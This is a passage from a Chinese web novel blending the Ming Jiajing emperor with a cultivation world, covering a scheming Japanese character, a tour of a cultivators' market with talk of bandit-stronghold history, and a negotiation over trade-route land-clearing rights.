“德川君!”然而德川宗右卫门话还没说完,就被木下藤吉郎一声爆喝打断! “你如此懦弱,胆小,还想打败德川家康吗?”木下藤吉郎说着,不管被戳中痛点,脸色难看的德川宗右卫门,起身来到窗前。 他看着东边亮起的一轮红日,道:“我听说,武田家的使臣,山本左卫门,被大明的裕王,朱载坖召见了!” “来之前,我就已经调查过了,大明二王在争夺储君之位。” “清流和严党争斗不休,与虎谋皮又如何?我偏要引虎出洞,他们是兽,我就是驯兽师!”说着,他撇头,红日照在他身上。 一时间,德川宗右卫门瞳孔骤然一缩。 看着此刻被包裹在阳光中的木下藤吉郎,仿佛看到了一位雄主。 “我会让大明,赔了夫人又折兵,我会让他们明白,小瞧我们,会是什么下场!” “木下君,你打算怎么做?”德川宗右卫门下意识的用上了敬语! “大明想染指日本?我们也可以利用他们,铲除境内的其他大名,最后只剩下我们跟武田家争夺天下,那时大可以合力逼走大明!” “想来,武田家的人,也会乐意合作,现在我们跟武田家最强,完全可以利用大明为我们扫清道路,到时候再逼退大明……” “想来武田大名,也不是傻子,不会让旁人坐收渔利!” “木下君高见!”德川宗右卫门激动道。 …… 视线缓缓拉远。 识海中,视听大明天下的嘉靖,背着手,手指轻轻挑动着。 心中盘算着严嵩等人的计划。 嗯,他是真的没想到,严党和清流竟然要想着吞了日本,确切的说是自己手下的这两头“恶犬”,不让他们在大明斗。 他们竟然自己找了一块战场。 而且貌似他们竟然玩出了一种很新的东西? “呵!”突然,嘉靖不由摇头笑出声,“看来整顿吏治,大清洗,确实让他们害怕了。” “不敢在大明乱来了,就把目光放向他国,以他国为战场,视他国为鱼肉瓜分?” 自语着,嘉靖不由的想到了后世才会有的名词来:代理人战争! 按照后世的说法,这所谓的代理人战争,说简单点,就是两个大国或势力不直接参与战斗,而是通过支持、资助或操控其他较小国家、地区或武装组织来进行的战争。 代理人战争的目的有很多。 比如避免大国之间直接冲突的风险。 嗯,这点跟大明两派之间何其相似,大明刚刚新生,自己不会允许他们乱来。 而且他们也不愿意承担风险,把大明搞乱,所以想在未来仙朝开始之前,提前布局斗倒另一方,只能换一种形式,换一个国家! 其次,代理人战争还为了实现利益最大化。 大国或主要势力,可以在不直接投入大量资源的情况下,影响甚至改变地区局势。 从而实现自己的利益最大化。 比如,通过支持代理人,来打击对手的利益或盟友,削弱对手的实力和影响力。 嗯,很显然,严党和清流,都想到一块去了。 而他们各自支持的就是日本的武田家族和织田家族。 同时,为了实现某国之举,还支持其他大名,为的就是让战争永生,实现清除。 而且,代理人战争还有好处,此举大大降低了大国之间要投入的成本。 大国或主要势力可以通过提供资金、武器、情报等支持来增强代理人的战斗力,而无需承担直接战争带来的高昂成本。 严党和清流现在就是这么做的。 而且看严嵩和清流的意思,前期甚至不打算给予实质性的支持,只是以大明的名义,在诸国和日本本土上,让各自的代理人更合法理? 看吧,上国大明,都承认了我,你们这些大名,还不赶紧俯首称臣? 嗯,颇有种顺应天意的意思在里头。 名义上,给武田家和织田家支持,还能让这俩家因此而放下戒心,毕竟大明内部也不合。 而他们,得到大义的同时,还能得到火器、军事装备和资金的一些支持。 大不了之后,把手言和,逼退大明,再平分日本。 想到这里,嘉靖看向那个木下藤吉郎,嘴角勾起一抹笑容,由衷道:“有种!” “驯兽师?一个人想玩严党和清流?朕也期待了!” “……” 1.1万+今天的内容剧情不适合断开,因为会看的不顺,不方便理解,所以就合在一起了。 第一百二十五章 野市,中原才是真正的修仙界,山寨往事,李长卿 野市只是一个统称。 一般情况下,很多野市都有名字,相比于宗派在书院登记名字各种繁琐,野市只需要起个名字,然后在名字前面或后面加上地址。 比如,大明和御兽门共同出灵源建造的野市,那这个野市在书院正式登记的名字,就叫“无涯林·东北无尽山脉·明御野市”。 不过,这些都是书院正式登记时,或者是有什么牒文下达后,才会用到的名字。 嗯,若是达到一定规模,或者是每年给书院的税,达到一定规模和标准,或许会被书院允许,建造传送阵,也需要用到正式名字。 因为传送阵,必须要确切的空间坐标,地点必须要确定,否则空间通道就会坍塌。 “怎么样先生,这九品野市如何?”看着渐渐近了的建筑群落,刘权邀功似的说道。 野市,也是有品阶的。 一品最高,九品最低,不同品阶的野市,书院的税收标准,也是不一样的。 九、八、七品的野市,统一收税是全年收入的一成,第一年免税。六、五、四品的野市,统一收税则是全年收入的二成。 三、二、一品,则是三成。 尤其是一品野市,等同于修仙大城了,除了基本的税收,若是某一年收入突然暴涨,超过前一年的半数以上,还要补税。 “占地多少?”嘉靖看着下方雨雾蒙蒙中,周围不断有飞梭、飞行法器、飞行宠兽落地停靠,急色匆匆,或是携道侣悠闲而来的人群问道。 “三百亩,”刘权双手搭在飞梭围栏上,拇指若有若无的抚摸着宝石,满意道:“符合九品的最低标准占地,不过还能继续扩张。” “等有钱了,东西两侧还能继续延伸扩建,不过目前来说够用了。” 野市品阶是根据年收来算的。 这点嘉靖是知晓的,左右看了看,右边草坪开阔,左边最远是无涯林,上边是无尽山脉,后方则是一条宽六七米的,透明带子的小河。 “轰轰轰。”飞梭嗡鸣,在野市外的空处停下,嘉靖跟刘权跃了下来。 看到刘权的飞梭,不少衣着普通的散修,停好自己的飞行法器,或是飞行宠兽、飞剑,都不由投来一阵羡慕的目光。 “这是‘大璇梭行’地支系列飞梭中的便携飞梭:申酉戌飞梭-秋风轻舞,”有中年散修,对身旁的人感慨,“售价五万灵源!” “充面子货,高不高低不低的,有什么好。”有散修看了看手上的飞剑,不屑道。 “徐大哥,我们成亲时,也买一艘吧,也不算贵,姐妹们都有,我也想要……” 有女修挽着男修士的胳膊,羡慕道。 “听说野市有二手梭行,九成新,但价格却是全新的八折,等各大宗派开荒招募散修时,就能省下一笔富余的灵源,买艘飞梭了……” 男修士看着身旁道侣羡慕的眼神,眼底闪过一抹疼惜之色,想了个折中的办法。 “嗯!”听到情郎同意,女修幸福的抱着情郎的胳膊,侧脸紧贴着,仰首笑的清甜。 这里也有飞梭,但不多,算上刘权的这艘,也就品牌大多数都相同,不过属性不同。 “先生,看到了吧,散修在修仙界,就是这么的不易。”享受够了众人的目光后,刘权笑着收起飞梭,然后感慨道:“在大角星,想要开宗立派,加入宗门,都非常的困难!” 刘权说着,跟嘉靖并肩朝着远处的野市入口而去,而嘉靖也静静的听着。 “宗法制下,施行九品家族制。宗派建立后会根据宗派修为最强者,划分家族领地…九品家族制,对应的则是修仙路上的九个境界。” “九对炼气;八对筑基;七对金丹……三对合体;二对大乘。一品家族对兵解散仙……” “领地确定,那么宗派招收弟子,就只能在自家的领地内招收,而不允许越界。” “而散修居无定所,不被任何家族承认,也不会轻易的招收入宗派。” “而且,过习惯了散修生活,有些人年龄上来后,一是没办法加入宗派,二是习惯了。” “若是散修之间,有了孩子,也大多数会选择送给当地某个家族抚养,从此再无干系。若是孩子的天赋不错,会被送入宗派培养。” “所以,散修若是结成夫妻,大多数都要忍受骨肉分离之痛,否则若是孩子年龄大了,就没人要了,只能继续做散修……” 简易的木棚、房屋和布篷排列开来。 看似杂乱拥挤,却井然有序,鳞次栉比,形成一条条狭窄的小巷。摊贩们在自己的摊位前忙碌,货物摆得整整齐齐。 修士们或独自行走,或三两成群,穿梭于各个摊位之间。有人低头查看手中的物品,有人与摊主交谈,声音不高,却此起彼伏。 雨雾蒙蒙间,地上的积水,反射着微弱的光亮,修士们的影子随着步伐移动。雨丝落在摊位的布篷上,不时的发出细微声响。空气中弥漫着草药的味道,还有淡淡的饭香气。 一些美食摊位前,几个修士围在一起,手中拿着卷轴,似乎在讨论着什么。不远处,一些年轻修士聚集,谈论着修行之事。 整个野市,在细雨中显得宁静而有序,每一个角落都透出生活的气息。 刘权跟嘉靖从东门进来,沿着不宽不窄的巷道,边走边聊。 “一些有追求的散修,”刘权说着,错开身让一个穿着普通,像是店小二一样,只有十岁左右的莽撞少年端着一盘三碗馄饨闯过去,笑着摇摇头,又道:“有追求的散修会谋寻出路。” “聚在一起,在中原一些地区,或者是边疆丛林,修士禁地,或是混乱之地,组成一些散修联盟势力,这些势力不受书院承认。” “彼此之间互相攻伐,死伤常有,呵!”说着,刘权冷笑一声,而后唏嘘道:“其实这些混乱地带,也不过是被默许存在的。” “水至清则无鱼的道理他们也懂,中原大宗之间,早已没有了三代掌门内,不允许互相吞并征伐的规矩,自然是弱肉强食了。” “明争暗斗,杀人夺宝,仇杀、暴虐、血腥,黑暗的利益勾结,呵呵!” “中原繁华,但繁华之下,却尽是肮脏与黑暗。修仙者,从不清净。两相衬托下,凶蛮的大荒,反而单纯的像是一片净土。” 听到这里,嘉靖也跟着轻舒一口气。单从他自己的感觉就不难发现,大荒这片地域,确实安宁,哪怕是有仇的‘黄风谷’也受规矩约束。 至于中原地区,不用想都知道,中原繁华,无数宗派盘踞,定然有不少宗派已经过了,三代掌门之内,不允许互相吞并征伐的规定。 因此,不用想都知道,那中原之地生存是何等残酷。 “一些几大宗门间隙的混乱地带说白了,就是双方争斗的缓冲地带。” “不过也因此,反而成了无数散修势力的沃土,比如一些杀手组织,暗地里借野市而存活的黑市,本命买卖,灵脉交易、炉鼎交易……” “炉鼎?”嘉靖好奇。 “一些特殊的修行法门,若是被拥有特殊体质的修行者修炼,达到一定程度后,再辅以采阴补阳、或是采阳补阴之法…如此,炉鼎会死,所有一切,甚至是寿元都会反哺给主人……” “我们常说的双修之法,便是这些炉鼎法的前身,这些炉鼎邪法有人说是书院研究出来的,也有人说是从道门统治的‘房宿’、‘心宿’、‘氐宿’传出的。” “呵,还有人说是佛门统治的‘尾宿’、‘箕宿’传出来的…具体已不可考。” 炉鼎、双修,能加快修行速度吗?经过刘权解释,嘉靖若有所思。 “炉鼎双修,就不怕有副作用?”嘉靖又问道。 “质量上乘的炉鼎修行法门,自然是没有任何副作用的。”刘权摇头,道:“在中原地区,三四品的野市中,黑市里有交易,但很贵。” “听说,我也就是听说,曾在中原的修仙大城,大燕城,有爆料说……”说着,刘权左右看了看,压低声道:“在一次黑市拍卖中,‘紫光仙宗’有人购买了一份炉鼎修行法门……” “最终以三千五百万灵源高价购买,啧啧!” “不过后来‘紫光仙宗’否定了这一说法,信不信那就见仁见智喽……”刘全说着,微微摇头,见嘉靖一副思索的模样,笑着道: “其实,道无邪,邪的是人。先生若是想体验双修之法,改天倒是可以去一趟中原一些顶尖修仙大城,专门有场所提供双修服务的。” 说着,刘权对嘉靖挑了挑眉。 “这也有……卖的?”饶是嘉靖也惊讶了。 “嗨!”刘权无所谓摆摆手,“当然,有专门修炼这一特殊法门的女修组织的。” “不过很贵,单次二十万、两次四十万,过夜的话,三百万左右…很不实惠,能拿的出三百万的,都去专门养个小炉鼎了,谁玩这些?” “中原,当真是繁华迷人眼……”嘉靖心底感慨不已,窥一斑可见全豹,饶是他是皇帝,对奢靡已经麻木,听完这些也不由惊叹。 这些专修炉鼎法门的女修,要是放在凡人世界,必然是传说中的仙子、洛神之流。 若是花钱能与仙子、传说中的洛神,一夜鱼水之欢,不仅如此还能强身健体,谁不想? 此刻再一看大荒,似乎除了大,真的贫瘠了,说句乡下之地,也是丝毫不为过。 “所以,黑风寨也是……”听着刘权这一番深有感触的话,嘉靖问道。 “嗯,我加入黑风寨的时候,还只有三位当家、老宋、老徐他们五人的草台班子,呵!” 老徐,许天。现在大明刑堂之主,也属于是高层,虽然不是长老,地位却特殊。之前在山寨的时候,听说是独孤英的专属护卫。 之前在传承阁,那十二个孩子里,坐在第一排,小胖子独孤东来和李鱼身边,皮肤黝黑,看起来憨憨厚厚,年龄约八岁的孩子许山。 就是刑堂之主许天的儿子。 “嗤,”刘权说着,目视前方,哼笑出声,似乎很是怀念那段日子,道:“那是我见过最单纯,却又最上进,志向远大的山贼。” “先生,你相信,有些人是天生的雄主,也就是您说的,上位者吗?”突然,刘权看向嘉靖出声问道。 “自然。”嘉靖点了点头答道。 太祖当年放牛娃出身,却能在身边收拢大批名臣武将,乱世中,还能让人心服口服。 这便是天生的雄主和上位者! 此外,还有汉光武帝刘秀、唐太宗、宋太祖等等,都是! 此时二人已经来到了野市最繁华的中心地带。 这里开始出现茶楼,酒肆、当铺、客栈,摆摊的也越来越多,喧闹声也越发大了起来,空气中,还飘荡着,阵阵饭香,让人口吃生津。 “大当家就是这样的人!”刘权肯定的点头,然后又道:“他会组织弟兄们定期去那荒野之地,破庙老夫子处听讲,学读书识字……” “可惜后来,争斗的厉害,老夫子死于一次修士争斗,黑风寨居无定所…明明是山贼,打家劫舍才是本行,他偏不,定规矩,讲道义。” “还定下什么老弱病残不劫,不欺凌弱小,将道义放在首位,条条框框的规矩忒多,”刘权说着,摇头失笑,“黑风寨,不像山贼。” “更像是一个傻大个拉起来的家族?也不像…宗门?更不像!嗯,四不像,呵呵……被同行嗤笑,偏偏奈何不了他,他太强了!” “不少散修加入又离开,最后剩下来的,都是欣赏大当家作风的兄弟。” “我们就这样一路在中原的混乱地带,东奔西走,这里听说有秘境打开了,就带着兄弟们过去,跟着大宗派喝点汤。那里有什么宝物出现了,就急匆匆的赶过去……偶尔接一些大宗派的小任务,不过那些为人不齿的都被拒绝了。” “也因此,老宋就曾调侃说,跟着当家混,三天饿九顿……当家说,他要给兄弟们一个出路,他要开宗立派!”刘权说着,眼角不自觉湿润了起来,吸了吸鼻子,继续道: “可开宗立派何其之难?”刘权笑了笑,道:“说实话,我压根不信他能办到!” “因为建立宗派,必须要有书院承认,而且并不是说,你修为境界到了就能开宗立派。” “还必须要得到书院的认可,要不然也不会出现大把大把的金丹期山贼,甚至是有些元婴期的散修联盟老大了……” “而开宗立派的最直接,最公平的途径,就是开辟战争中立功!” “不仅如此,尤其是像我们这种山寨势力,还要经过书院审核,没有屠戮凡人的过往,没有被书院定性过的通缉等等……” “现在想来,当家当初的决定,多么的明智,或许他早已默默努力准备也不一定。” “东躲西藏,得罪了这个,又得罪了那个,不少弟兄死去,也有不少志同道合的弟兄留下,终于我们等来了机会,或许是天眷吧!” “书院下达开荒牒文,开辟战争发起,大当家便带着弟兄们从中原,边走边赚灵源。 呵,从中原,坐传送阵来大荒,太贵了,一个人一万灵源的传送费。 就这样,一路来到大荒,怀着忐忑的心,不确定会不会被书院否决,好在一切顺利,然后安营扎寨,直到参与开辟战争立功……” “如今想来,是个奇迹!” 听着刘权怀念山寨往事,嘉靖脑海中又出现了那个体型魁梧庞大,说话瓮声瓮气的独孤英来,这一刻嘉靖对这位掌门认知也更清楚了。 “嘶,一不小心就话多了,嘿……”刘权见嘉靖沉默,尴尬的挠了挠头,然后指着不远处的巷子口,挂着帆布,写着“自闲书铺”道: “先生,到了!” “嗯。”点了点头,嘉靖收敛心中想法,然后跟刘权朝着巷口走去,而在巷子口,还贴着几张书院关于通缉邪修和荒地清理的牒文。 安静的巷子边上,不大不小的书铺安静伫立。 只见门口,摆放着一张躺椅,上面躺着一个穿着淡白色长袍,手捧小巧紫茶壶的俊朗书生。 书生闭着眼,悠闲的摇摆着。 一张俊朗儒雅的面容,本该是阳光面庞,但眼角一颗泪痣,却让这张脸上多了几分莫名的,阴柔,一股悠然自闲之意散发而出。 不过惊奇的是,在他旁边一本书漂浮着,自动翻页,不时的还有声音传出。 一会男声,一会女声,老人,孩童,听内容,似是话本故事。 “李先生!”刘权给嘉靖一个眼神,然后笑着上前一步,躬身笑着道:“在下刘权,我大明仙宗的四长老,朱聪先生来了。” 刘权的姿态很低,不过这也正常。 对方不论是身份,还是修为,都在他之上,这是基本的处事方式。 随着刘权的话音落下,青年抬起修长的手,那本讲话的书,自动飞入手中。 青年这时,也睁开了双眼。 “……” 第一百二十六章 利益捆绑,意外之宝,帝玺石,《帝经·九卷》(二合一) “刘权长老。” 青年坐起身,嘴角含笑的朝着刘权点头示意,而后看向嘉靖。 “李先生,”嘉靖也没有托大,拱手见礼,“朱聪,大明仙宗四长老。” “我叫李长卿,这‘自闲书铺’的掌柜,”青年说着,一抬手向书铺,“请。” 一番简单客套的介绍,三人进了书铺。 书铺整体布局看起来像是一个“噩”字。 西北角是柜台,东北角是长长的走廊,尽头通往后院。出了柜台转角是通往二楼的楼梯口。对面则是两排两米的书架,上面摆满了各种各样的书籍,靠窗户的位置则是几张长桌。 神奇的是,书架的夹层处,似乎镶嵌着某种特殊的会发光的石头,发出橘黄色,柔和的光芒,将书架上的书籍照亮。 整个书铺,在这种特殊宝石的暖光下,看起来古色古香的,充斥着一股温馨的静谧感。 李长卿不紧不慢的关上书铺的门后,带着嘉靖跟刘权上了二楼,来到二楼。 一个“中”字布局,一上楼就是一个宽敞的会客厅结构,靠窗位置摆放着一张长桌。隔间则是用屏风隔开,想来后面应该是内室。 上了几杯热茶,双方各分主次坐好后,李长卿这才看向嘉靖,率先笑着开口,道:“我对大明仙宗,是有一些了解的。” “早听闻大明仙宗有一位了不起的朱先生,今日终于得见,倒是了却我心头疑惑。” 嘉靖没有说话,而是投去一个疑惑的目光,等着对方的下文。 “大明提交给书院的九篇宗门雅章,我是看过的,”李长卿笑着说,“绝对是上品!” “能编纂出这等雅章之人,无一不是中原那些自成一派的儒学大家才能有的手笔。” “这些大家都是受雇于中原的大书斋,大宗派,东荒之地出现……”李长卿说着,摇头轻笑了笑,道:“着实令人惊讶和好奇。” 听到李长卿这么一说,刘权眼神中浮现出一抹恍然之色,难怪对方会注意到先生,原来不光是对野市建立幕后之人的好奇。 而是早早的就注意到了大明。 不过紧跟着,刘权神情间便有些尴尬了。 李长卿这番话,当他们的面说的委婉,但意思却是非常的明显了。 对方先是表明,对大明是了解的,而后又跟着提到大明呈交给书院的九篇雅章。 并不是说,这九篇宗门雅章有多么的惊艳,中原地区也有大儒能写出来。 不过这些大儒是不会出现在大荒的。 一个前身是土匪山贼的山寨,却能拿出跟中原大宗才有的,相媲美的宗门雅章,这自然就像是黑夜里的明灯,引人注意了。 这意思理解的再直白点,就是屎盆子镶了金边。 既然因此而对大明产生了好奇心,从而关注到了大明,那自然也会顺便的将跟大明有关的一切,也会进行一次彻底的了解。 对于书院来说,小小的中型宗门,似乎根本不算什么,甚至但凡在书院有点地位的人,都能将大明仙宗给查的底朝天。 大明仙宗对这些人来说没有秘密。 嗯,当然他们也没有什么见不得人的秘密。 如此,自然而然的,关于大明和‘黄风谷’的恩怨,以及‘黄风谷’和‘清源仙派’还有‘小蜀山仙派’之间的关系也都彻底清楚。 一方是莽夫居多领导的‘大明仙宗’,一方是心胸不怎么宽广的黄峰领导的‘黄风谷’,存在着仇恨的两伙土匪之间,竟然达成了合作。 大明甚至愿意将野市的经营权让出去给‘黄风谷’,只收取利润,这做法太有魄力了。 这种种迹象,显然不是一个前身就是一群山贼的人,能搞出来的。 至于刘权这个军师,有能力,但也是相对于满脑子肌肉,头脑简单,四肢发达的掌门独孤英三兄弟来说,头脑灵活些而已。 如此行事手笔,绝非山贼能有! 那么结果也显而易见了,必然是这个大明仙宗里边,出了一个了不起的人才。 再加上黄峰的一些刻意宣传,大明仙宗的四长老朱聪,自然就跃入了李长卿的眼中。 现在,刘权找到了他李长卿的身上,想要解决大明的麻烦,但幕后的真人却不出现,这摆明了就是小瞧于他,不够诚意啊! 一番话的意思很直白,嘉靖和刘权也顿时都明白了过来,为什么刘权这个宗门大长老亲自出面,李长卿不给面子,反而要见四长老嘉靖。 那是因为李长卿知道大明仙宗的幕后之人是嘉靖。 李长卿的身份地位虽然很神秘,但重要程度自然不必多说,以对方的身份,若是幕后真正做主之人不出面,未免太过失礼和冒犯了。 你待人以诚,别人才会待你以诚。 “是刘权失礼了,还请李先生勿怪。”反应过来的刘权,直接站起身,躬身道歉。 嘉靖见此倒也没有说什么,这件事本质上讲确实是他们的做法欠考虑了。 但嘉靖也没想到野市坐镇之人,并不是单纯的派来收割利益的草包,而是个…人物! 同时嘉靖也明白,这个李长卿,或许是来收割利益的,但其在书院的真正身份怕也不简单,并不是惯性思考的那般,是其他人的代表。 这就好比说在大明,景王去了地方上隐瞒身份,以钦差的身份坐镇,而那些贪官污吏却以为,他跟其他钦差差不多走个过场。 真正需要在意的是朝廷内阁诸老。 这是惯性思维所致,四方城这边,真正做主之人是白马楼内的书院高层。 这个被派往野市的人,按理说也应该只是一个类似于“手套”一样的代表。 但显然,对方不是! 虽然心中已然盘算了一遍,不过嘉靖的面上却始终平静坦然的看着面前的李长卿。 “呵呵,”见刘权向自己致歉,李长卿则是笑着摆了摆手,示意刘权不必在意后,话锋一转,算是翻篇,而后看向嘉靖,道: “朱先生不是大荒人士吧?” “不错,我并非来自大荒。”嘉靖很坦然的承认了下来。 整个大明仙宗所有人在书院面前,都是没有秘密的,没有任何隐瞒的必要。 对方既然对自己产生了兴趣,必然会调查,只要一查,就肯定能发现自己的来历是空白,没有任何的出入记录。 如此一来,那对方,恐怕对自己只会更加的感兴趣,心中也更为好奇。 想及此处,嘉靖心中不由暗暗盘算起来。 “恐怕先生不仅仅,不是大荒人士,”见嘉靖很坦然的承认自己并非大荒人士后,李长卿又笑了笑,“甚至,不是大角星之人吧?” 见李长卿直接点出嘉靖并非大角星之人后,一旁的刘权心中也是不由得一紧。 想要横跨世界,只能是使用传送,尤其是跨世界传送,这里头需要有书院的传送票证。 每座修仙大城之中,都有通往各个地域的传送阵,这些传送阵都是书院建造。 此外像是一些大型宗门,或者是高品阶家族,也可以在向书院提出申请,得到批准后,建造跨世界传送的大型传送阵。 若是跨世界传送的话,名录,物资详细信息,每次都要呈交书院存储,方便书院调查。 当然也有一些不法之徒,会私自搭建传送阵,然后来往于各个世界。 一旦被发现,那书院绝对不会轻饶。 李长卿指出先生并非来自大角星,这一点刘权心里其实早早的就有了猜测。 但不论是他,或者是掌门他们,都并不在乎先生的来历,但是书院既然发现了这点,那么只需要一查便可以轻松的查出来,根本没有一个叫朱聪的人,来往于两个世界之间。 那么剩下的可能就只有一个了,使用书院不知道的跨世界传送阵,从别的世界来到大角星。 这种行为,被视作偷渡! 偷渡:在书院的解释中,意思是某星域内的生灵违反书院跨世界传送规定,在横跨星界时,不尊书院规定的跨世界传送地通行,不经过‘域检’核查,得到票证许可前往其他世界的行为。 域检:指横跨世界时,管理传送阵,分发传送票证的,书院下辖的执事。 偷渡可是一件非常危险的事情。 一旦被书院发现偷渡横跨世界,轻则羁押囚禁一定年限后释放,重则怕是要被处死。 再加上如今邪修作乱,书院对外来生灵的核查可以说是非常的严格。 这个时候,若是查出先生并非来自大角星,而是偷渡而来,那恐怕会很麻烦。 嗯,刘权心里,其实也猜测嘉靖是偷渡来的。 “哈,”看着神情始终平静,似乎根本不以为意的嘉靖,和一旁神色有些紧张的刘权,李长卿突然摆了摆手,轻笑:“不必紧张。” “我并非是在审问二位。” “而且,这些也与我无关,我也不会操心这些事情。我这人啊,有个毛病,有时候说的多了就容易刨根问底,难免惹人生厌。” 说到“惹人生厌”的时候,李长卿眉宇间不由露出一抹无奈之色,苦笑着摇了摇头,而后恢复淡然,看着嘉靖和刘权笑着道: “二位此来,是想要我出面,以书院的名义帮你们定下接下来清理荒地的具体位置?” 见李长卿似乎根本不在意先生的来历后,刘权心底,又暗暗松了口气,而后不由的将目光看向从始至终都一副坦然模样的嘉靖。 嗯,不愧是先生,竟是毫不在意! 这份心态,难怪能在谈判桌上,无往而不利,我还有很多要学啊! “不错,”迎着李长卿的目光,嘉靖缓声开口,“大明如今所面临的问题,想来李先生也已经知晓了,在下就不多言了。” 李长卿闻言,不置可否的一笑。 欠了欠身,拿起茶盏轻抿了一口,一副好整以暇的样子,示意嘉靖继续说。 一旁的刘权看着二人谈话,眉头不由微微的簇了一簇,不知道为什么,他感觉似乎哪里怪怪的,但一时间又说不上来。 只是觉得,这次谈判,和上次与黄峰老儿的谈判有着很明显的区别。 但具体,又说不出来,只觉得很不自在,有种深陷泥潭一样,行步很是艰难的感觉。 “大明的商道航线需要打通。”嘉靖没有拐弯抹角,直接说出自己的目的。 “以此通往东南城、南角域,彻底打通整个东南地域三座修仙大城……”说着,嘉靖的语气微微一顿,道:“甚至是未来通向整个西南地域的三座修仙大城,乃至于整个大荒。” 不错,这才是嘉靖的生意版图! 东南地域市场也很大,但一分为三,分别以四方城、东南城和南角域为中心,未来必然会多出两座,甚至更多的野市。 之后,还有西南、西北、东北,九座修仙大城,至少二十七座野市,甚至更多! 如此,覆盖整个大荒的市场,会有多大? 大明仙宗未来的生意版图会很大,很大,嘉靖要的是“开疆拓土”,不是固守一方。 嘉靖说话间,周身气势隐隐上涨,李长卿噙着笑意的嘴角缓缓平复,看向嘉靖的眼神,也越发的认真了起来,他感觉自己小瞧了此人。 嘉靖没有隐瞒自己的意图,因为这些东西没法瞒,只要商道航线打开,随着大明的行动,未来的生意,必然是要做到整个大荒的。 最主要的是,知道了这个李长卿并不是一个简单的,被上面派下来的收割利益的草包,反而是个身份地位不简单的书院中人。 如此一来就不能以轻视的态度去应付了事了。对方不是傻子,若是用对付傻子的方法去应付,那就有点侮辱人了,换来的自是交恶。 现在的大明仙宗,还惹不起这种人! “现如今,无情山的女修不肯放行,也没有任何想要谈判的意愿。” “无奈,我大明只能从‘无情山’旁边,绕道而行。如此一来,那么‘无情山’旁边的荒地,就必须交由我大明来清理。” 直白的说出大明的目的,和现在的困境后,嘉靖凝视着李长卿,道: “大明的要求很简单,这片荒地由我们清理之后,商道航线任何人不可以阻拦。” “朱先生,”听完嘉靖的话,李长卿抬了抬手,略一沉吟后,开口,“我不会参与大荒宗派之间的任何争斗。所以,并不能给予你们任何地域归属上的承诺,我也没有这个权力。” “因此并不能承诺,荒地清理出来后,就专属于你大明,或者下令让‘无情山’不捣乱。” “自然,”嘉靖点了点头,“大明也不会让李先生为了大明仙宗,而做出一些不公于其他宗派之事……”说着,嘉靖习惯性的抬了抬手指,“我等此来,只为一个目的!” “那便是这片荒地必须由我大明来清理。至于荒地清理之后,若有麻烦,大明自会解决。” 听着那句“大明自会解决”的话,李长卿深深看了一眼嘉靖后,缓声开口,“大明仙宗为开辟大荒尽职尽责,书院自然是要支持的。” “如今的大荒,正是一片新地。” “用一句寸土寸金来形容也是丝毫不为过的。” “虽然开辟战争已经结束。将那些凶狠不化的古兽,赶去了无尽山脉深处。” “但开辟战争难免会有一些旁枝末节的遗漏和疏忽。这便是那些剩余荒地的由来。” “这些荒地当中仍然有一些古兽潜伏。” “甚至偶尔还能挖出一些上古时期的秘宝,甚至是秘境之类的修行资源……” 说到修士梦寐以求的各种秘境传承这些资源的时候,李长卿语气当中没有丝毫的变化,仿佛在说一些稀松平常的事情一般。 言辞间,无不是再向嘉靖和刘权二人,展示他在书院的一些特殊身份和地位。 “因此,”说到这里,李长卿面露微笑,盯着嘉靖,道:“荒地的清理过程当中,难免会发生一些利益上的冲突……” “所以最好的办法就是这些荒地由哪些宗门来清理,直接由书院下达牒文指定!” 此时,李长卿的目光当中已然有笑意浮现,而嘉靖自然也听出了对方言下之意。 这番话说的就很明白了。 李长卿,这是答应了大明的要求。 并且还会让书院下达牒文指定由大明来清理‘无情山’附近的那几片荒地。 一旁的刘权自然也听出了这话外之意。 一时间,眉宇间不由浮现出一抹喜色,心中也暗暗松了一口气,到了这里,谈判算是达成了一半了,此行的目的算是达成。 这个李先生,别看年纪轻轻,不论是修为地位,又或者是谈判上,都给了他莫大的压力。 嘉靖自然没有刘权想的那么多,他从来没有小瞧过这个世界的人,尤其是这次谈判之人,还是代表着,制定规则的群体。 这放在大明,就是商人跟官员在谈判。 一些谈判结果,稍有不慎,就会迎来雷霆镇压,你还毫无反抗的余地。 此时,嘉靖正等着李长卿开条件。 对方拿出了答应帮忙的诚意,目的自然不是为了做慈善。 正如自己当初所想的那般,能被派往野市坐镇的人,必然是和四方城内那位坐镇白马楼的书院负责人沾亲带故…… 双方利益是一体的。 最终目的都是为了利益! “先生是聪明人,”李长卿直接道:“我也不与先生拐弯抹角,便索性直说了吧。” “商道航线开辟之后,我希望大明仙宗的商队,可以帮我运输一些资源,出往大荒各地,甚至是中原各处……” 说完,长卿不等嘉靖开口,又继续道:“当然,过程当中我也可以为大明的生意提供一些便利,大明也自然会因此而水涨船高!” “这大荒未来第一大宗,大明可期!” 意思很直白,跟我合作,我会助你大明仙宗,发展成像是中原大宗一样的存在。同时也意味着,你大明仙宗背后,有了书院的支持。 “先生以为如何?”说着,李长卿向嘉靖投去一个探寻的目光,眼神中的意思很明确,机会千载难逢,抓不抓得住就看你自己了。 嘉靖却沉默了,并未第一时间回答。 一旁的刘权不由看向嘉靖,这个条件似乎并不难办。 不就是一些简单的帮忙运输一些资源嘛。 人都是重利的,很显然,这位李长卿李先生也是有自己的生意往来的。似乎帮他这个忙就能得到很多便利,大明也会水涨船高! 这些,也没有什么大不了的。 不过这次,负责和李长卿谈判的人是嘉靖,所以刘权并未插嘴,而是静静的等着。 他相信不管先生做什么决定,都有自己的考量,总之他跟在身边只需要好好学就行。 嗯,根本学不完,越是跟先生接触,他就越是觉得,有太多的东西要学习。 “我需要一些时间考虑。”嘉静没有直接答应这个看起来似乎很简单的要求。 “呵,”听到嘉靖如此说,李长卿微微一笑,也不为难,只是点了点头,道:“先生能如此慎重,自是极好的。” “那我就不留先生了,不知明日可否给我答复?”他虽是在询问,但言语当中,却是有着一抹不容拒绝的意味。 可以给你考虑时间,但只有一天时间,明天就要答复,错过了就什么都没了。 “好。”嘉靖说着,站起身,“野市刚刚建立,我也想多看看,就不打扰先生了。” “请。”李长卿起身相送。 李长卿表现的很是平易近人,直将嘉靖和刘权送出门,目送至巷子出口,这才转身回屋。 此时,雨势渐渐大了起来。 刘权跟嘉靖二人身上,灵气自动附着。 当雨滴落下后却被周身一层淡淡的灵气光芒弹开。 野市依旧热闹非凡,不少修士也都使用灵气隔绝雨水,但也有散修,不愿意浪费灵气,毕竟野市行结束后,他们还要赶路。 浪费灵气,事后还要恢复,浪费时间,要么浪费灵源补充,得不偿失,不如撑把伞。 